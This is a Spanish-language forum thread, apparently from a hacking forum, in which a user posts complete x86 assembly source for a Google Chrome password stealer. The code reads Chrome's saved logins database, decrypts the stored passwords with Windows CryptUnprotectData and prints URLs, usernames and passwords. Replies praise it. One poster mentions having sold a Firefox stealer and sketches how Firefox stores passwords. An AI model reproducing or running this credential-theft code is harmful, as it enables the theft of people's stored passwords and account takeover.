Título: [ASM] Stealer Google Chrome.
Publicado por: fary en 21 Enero 2016, 08:58 am
Bueno, antes de nada este código se lo quiero dedicar a kub0x, que le gustan los códigos en ensamblador :laugh: Es un Stealer del navegador Google Chrome, funcional con la última versión. (http://oi63.tinypic.com/210ceo2.jpg) Código fuente: ; Stealer Google Chrome ; Programado por Juan fary. ; Flat Assembler. format PE Console 4.0 entry start include 'win32ax.inc' section '.data' data readable writeable ruta db '\Local\Google\Chrome\User Data\Default\Login Data',0 query db 'SELECT origin_url, username_value, password_value FROM logins',0 bd dd ? stmt dd ? URL db 'URL: %s',10,13,0 Usuario db 'Usuario: %s',10,13,0 PASS db 'PASS: %s',10,13,0 struct DATA_BLOB cbData dd ? pbData dd ? ends datain DATA_BLOB dataout DATA_BLOB buffer rb 255 barra db '-----------------------------------------------------',10,13,0 BufferRuta rb 512 APPDATA db 'APPDATA',0 section '.code' code readable executable start: invoke GetEnvironmentVariableA, APPDATA, BufferRuta,512 invoke lstrcat, BufferRuta, ruta cinvoke sqlite3_open, BufferRuta, bd cmp eax, 0 ; eax = SQLITE_OK jne salir cinvoke sqlite3_prepare_v2, [bd] , query, -1 ,stmt,0 cmp eax, 0 ; eax = SQLITE_OK jne salir BuclePass: cinvoke sqlite3_step, [stmt] cmp eax, 100 ; eax = SQLITE_ROW jne salir cinvoke printf,barra cinvoke sqlite3_column_text , [stmt], 0 ; URL cinvoke printf,URL,eax cinvoke sqlite3_column_text , [stmt], 1 ; USUARIO cinvoke printf,Usuario,eax cinvoke sqlite3_column_text , [stmt], 2 ; Contraseña mov [datain.pbData], eax mov [datain.cbData], 512 invoke CryptUnprotectData , datain, 0, 0, 0, 0, 0, dataout mov ecx, -1 BucleNull: mov edx, [dataout.pbData] inc ecx cmp byte[edx+ecx],0x08 jne BucleNull mov byte[edx+ecx],0 cinvoke printf, PASS, [dataout.pbData] cinvoke printf,barra jmp BuclePass salir: cinvoke system,'PAUSE' ret section '.idata' import data readable writeable library sqlite3, 'sqlite3.dll',\ msvcrt, 'msvcrt.dll',\ Crypt32, 'Crypt32.dll',\ KERNEL32, 'KERNEL32.DLL' import sqlite3,\ sqlite3_open, 'sqlite3_open',\ sqlite3_prepare_v2, 'sqlite3_prepare_v2',\ sqlite3_column_text, 'sqlite3_column_text',\ sqlite3_step, 'sqlite3_step' import msvcrt,\ printf, 'printf',\ memcpy,'memcpy',\ system, 'system' import Crypt32,\ CryptUnprotectData, 'CryptUnprotectData' import KERNEL32,\ GetEnvironmentVariableA, 'GetEnvironmentVariableA',\ lstrcat, 'lstrcatA'
saludos.
Título: Re: [ASM] Stealer Google Chrome.
Publicado por: crack81 en 21 Enero 2016, 20:23 pm
Se ve genial gracias por el aportaso voy a darle una revisda //saludos....
Título: Re: [ASM] Stealer Google Chrome.
Publicado por: kub0x en 24 Enero 2016, 13:35 pm
Muy sexy ;) Joder que Chrome siga utilizando la API de crypto (CryptAPI) de Win32 deja mucho que desear.
Al menos para sacar las passwords de Mozilla tienes que reversear un poquito la API de NSS, cosa trivial mientras el usuario no utilice una contraseña maestra. Básicamente la password por defecto esta cifrada en TripleDES y encodeada en B64, en signons.sqlite por si te interesa, aunque ahora no usan sqlite sino .json (creo..) pues hace unos meses vendí un code que hacía de stealer para FireFox.
Son poquitas líneas, hace tiempo que perdí el stealer de Chrome en CPP (no puedo comparar) pero nada que envidiar.
Saludos.
Título: Re: [ASM] Stealer Google Chrome.
Publicado por: Kaxperday en 25 Enero 2016, 22:28 pm
Buenas camaradas, ¿así que tenías el stealer de firefox?, enhorabuena.
Yo tengo el de chrome también para C++, no llegan a 15 líneas de código XD.
Ahora estoy un poco desconectado del tema, pero tengo pensado hacer el de FF y EDGE, pero primero tengo que aprender mejor ingeniería inversa, más allá de tenerlo o no, quiero saber hacerlo por mi mismo a través de ingeniería inversa, eso me pondría cachondo hehehe.
Un saludo, nos vemos.
|